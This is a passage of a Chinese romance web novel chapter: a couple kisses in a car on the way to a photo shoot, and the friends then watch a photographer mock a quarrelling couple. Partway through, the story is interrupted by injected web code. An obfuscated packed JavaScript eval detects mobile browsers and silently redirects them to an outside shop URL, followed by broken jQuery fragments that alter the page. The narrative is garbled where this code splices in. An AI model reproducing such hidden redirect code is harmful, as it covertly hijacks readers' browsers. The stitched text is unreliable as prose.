中午,神秘失踪了一上午的宋嘉禾又神秘现身,轻车熟路带着他们去吃了当地特色的傣味小炒和柠檬鱼。


    倪风凝这趟旅游就是奔着拍拍拍出片来的,结果之前约好的一家摄影工作室坐地起价,倪风凝不是让自己吃亏的性格,自然也不惯着,当即发了条朋友圈大规模避雷。


    结果好巧不巧和宋嘉禾这一趟出门,来找的哥们就是位圈子里出名的摄影师,他当即一个电话甩过去,插队插得自然无比。


    “我哥们也是来这边出差,这货顶级恋爱脑,非说什么他老婆在家等他吃饭,今晚非走不可,”宋嘉禾挂了电话,顺道不着痕迹地夸自己,“还好我面儿大,搞定。市区离这里还很远,咱们现在就得出发。”


    倪风凝顺手在网上搜了一下,她本来破罐子破摔不报什么期望,结果弹出来的全是一张张之前出圈大火的神图。


    “我超,认真的吗?竟然是这位哥!”倪风凝因为工作,和摄影圈子有接触,“他真的是有价无市啊,连插队都找不着渠道,多少网红小明星排着队都约不到排期!!我今天竟然能找他插个队?”


    倪风凝一把搂住阮芒:“软妹我也是沾上你的光了啊啊啊啊——”


    阮芒连着一天一夜运动量巨大,已经到大极限,蓝条血条都得回床上补,再加上中午的酸木瓜炒牛肉真的好好吃,她一连拌着吃了两大碗白米饭,现在还有点晕碳,上下眼皮一磕就想睡觉。


    阮芒试探着:“我好困,我能不能……”


    倪风凝兴冲冲拉着她:“不能!不准睡!!!肘!带你出片!!”


    纵使阮芒一万个不愿意还是被塞到车里,马不停蹄朝着市区驶去,倪风凝舍己为人坐在副驾,把夹在小情侣中间当大电灯泡的大好机会留给阮塬青。


    阮芒坐在靠窗的一侧,一开始还强打精神,勉强撑着脑袋,迷迷糊糊半梦半醒中,看见窗外朦胧的光影一帧一帧飞快掠过。


    昏沉的睡意缭绕,小脑袋一点一点垂了下去,额角快要擦到冰凉车窗的瞬间,身侧有手臂横了过来,从背后把她整个人稳稳地揽过来。


    阮芒在半梦半醒间听见有低沉的声音很轻地落在她耳畔,“睡一会儿吧。”


    低低丝丝的气流蹭得耳朵有些发痒,她无意识皱了皱鼻尖,发出一点类似小动物的咕哝声。


    手臂环绕过她纤细的肩头,掌心贴合侧颊,动作很轻地将她的脑袋引向自己的肩膀。


    熟悉的干净味道铺天盖地笼罩下来,阮芒在他肩膀找到了一个舒服的位置,蹭了蹭,整个人彻底松懈下来,放心地沉沉睡去。


    裴时樾垂下眼,从这个角度能看见她浓密的睫毛在眼睑下映出一小片柔软的阴影,呼吸均匀起伏,吹起滑落在鼻尖的几缕碎发。


    察觉到了一旁的视线,他偏过头,就看见阮塬青一脸震惊看着他们,被抓包之后无声地张了张嘴,然后此地无银三百两唰地把脑袋转了回去。


    不知道过了多久,阮芒这才悠悠转醒,她慢吞吞揉了揉眼皮,打了个大大的哈欠,一抬眼,和裴时樾对上视线。


    环顾四周,车上除了他俩之外一个人也没有。


    阮芒睡饱了,一秒钟清醒过来,她倏地直起身子,睁着大眼睛,下意识摸了摸唇角。


    都怪前几年上学趴在课桌上补觉补多了,有时候午睡半梦半醒睡得不踏实,染上了间接性流口水的恶习。


    还好现在没有,阮芒悄悄松了口气,接着问道:“他们人呢?”


    怀里软绵绵的一团突然消失了,裴时樾看起来比较不爽,他撩了撩眼皮,看了眼表:“下车一个小时了。”


    “啊,我睡了这么久吗……”阮芒刚睡醒,脑袋转得还比较迟钝,把他不太爽的表情自动翻译了下,最后得出了一个全错的结论,难不成是因为肩膀被她压麻了?


    她抿着唇,手臂撑在坐垫上,身子向前倾斜,小心翼翼朝他凑近了些。


    车厢昏暗,狭小逼仄,再加上一直没开窗透气,氧气告罄,显得稀薄。


    她的贴近突如其来,裴时樾眼皮类似痉挛地一跳,凸起的喉结上下滚了滚。


    下一秒,就看见小姑娘直直挨上来,柔软的小手在他肩膀上捏了捏,语气非常狗腿:“肯定累坏了吧,坚持这么久,我男朋友真厉害,赶紧给按按。”


    听起来怎么这么别扭呢。


    纤细的手腕猝不及防被人抓住往下带,腕骨硌在滚烫宽大的掌心,阮芒一愣,还在状况外,眼角扬起欲言又止盯着他。


    “嗯?”


    他眸色幽深,像是有什么被点燃了。


    “过来。”


    低哑的嗓音伴随着动作落下。


    她只觉得腰侧一紧,然后清晰感受到原本虚虚扶在她身侧的手收拢,握住了腰肢,旋即将她整个人朝自己捞过来。


    一瞬间发生了太多,阮芒觉得自己像一片被风卷起的羽毛,慌乱中寻找支点,手臂下意识攀上他的脖颈,指尖擦过颈后稍短的发茬。


    这个姿势看起来亲密无间,就很像跨.坐在他腿上。


    裙摆早已随着一连串的动作撩拨上去,堪堪遮住白皙肉感的腿根,下方是坚硬的膝盖骨,触感分明。


    裴时樾额前的碎发稍显凌乱,呼吸微促,瞳孔漆黑,虚起眼,自下而上地注视着她,他低下头,鼻尖几乎蹭到她的,滚烫的呼吸和心跳声交织在一起,分不出彼此。


    阮芒屏息一瞬,定了定神,她慢吞吞地抬起眼,啄了啄他的下唇,蜻蜓点水,柔软的覆盖。


    像是潘多拉魔盒被打开,情况一点一点朝着不可控的方向预演,属于他的滚烫气息铺天盖地压了下来。


    她被反扣着手,闭上眼睛,半仰起脸,承受着这个失控的吻。


    周遭的空气同样沾染吐息间滚烫潮湿的温度,不知过了多久才分开,她整个人向后仰,好看的唇瓣微肿,一点莹莹水光。


    掌心一寸寸下滑,环在她腰后,把往下滑的人重新向前往怀里带了带。


    阮芒整个人像一只煮熟的大虾,从脸颊到秀气小巧的耳廓,再到柔韧的一截锁骨,全都泛着一层薄薄的绯色。


    她整个人小声哀嚎一声,小鹌鹑似的把脑袋埋进他胸前,没敢再抬头看他一眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16927957|188637||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    只是隔着单薄的T恤布料,砰砰乱跳的心跳声几乎没什么隔阂地传递过来。


    有人还不满意,低沉沙哑的轻笑磨得她耳朵发颤,低下头,衔着她薄薄的耳骨咬了咬:“全都红了,好可爱啊,宝宝。”


    -


    阮芒来到拍摄现场的时候,倪风凝还没开始拍,她刚化好妆,无聊地刷视频。


    阮芒默默坐在一边,努力减弱存在感。


    “你怎么睡这么久啊,”倪风凝抬起头,看见她身后没人顺口问道,“你男朋友呢?”


    阮芒拧开一旁的水瓶,猛灌一口,动作牵扯到嘴巴,不知道来自哪里,反正有点痛。


    这人属狗的吧,怎么还咬人。


    “嘶。”她细细的眉毛拧了起来,龇牙咧嘴,转头对上倪风凝探究的视线。


    阮芒:“……”


    阮芒一秒面色如常,露出专业的八颗牙微笑:“鬼知道他去哪了,啃骨头去了吧。”


    这狗男人。


    倪风凝:“啊?”


    阮芒歪着脑袋看过去,岔开话题:“怎么还没排到啊。”


    拍摄场地不是工作室内景,而是户外,今天的天气格外好,湛蓝色的天幕澄澈如玉,云朵宛如洁净柔软的乳白丝绒,随着风缓缓浮游。


    正对面是一大片蔚蓝色的湖泊,阳光洒下,微风拂过,湖面上波光粼粼,像是撒满了一层闪闪的碎银。


    一棵挂满了各种祈福红签的古树下,一对拍照的小情侣正在吵架。


    女生指着一张合照,表情凄怆:“你这张照片的姿势和神态跟你和你前女友拍的那张一模一样,你是不是还没忘记她?”


    男生一脸懵逼,嘴比脑子更快一步,脱口而出:“我哪个前女友?呸,不是,我是说哪张照片?”


    “好啊,你到底还有几个前女友?!”


    “你怎么看过我之前的照片?你就是不放心我!”


    战火纷飞从影棚一路烧到岁月史书还有愈演愈烈的趋势。


    “帅哥你来评评理,”女生问一旁的摄影师,“分手后还留着前任照片是不是该六十大板?”


    男生也不依不饶:“你怀疑我,你质疑我的真心!!!你是不是不爱我了!”


    眼看着火烧到了自己这边,站在三脚架前收拾相机的游弋这才不紧不慢地抬了抬眼。


    男人一身黑,帽檐压低低着凌乱的黑发,几乎要戳到薄薄的眼皮,眼型狭长,左耳耳骨上一排嚣张的耳钉,闪着细碎的冷光。


    他把支架收起来递给一旁的助理,挑了下眉:“我不是很懂,毕竟我老婆是我初恋。”


    语气很飘,十分欠揍,直接下场给吵得火热的战场浇了桶油,火势瞬间连天。


    放完了火,游弋一边朝这边走过来,一边淡定自若接了个电话:“这周?下个月吧,排期问我助理,晚上?晚上不接,你们晚上都没有自己的夜生活吗?”


    战场外探着脑袋看戏的阮芒、倪风凝:“……”


    这就是传说中的恋爱脑吗?


    宋嘉禾还真是半个字都没冤枉他。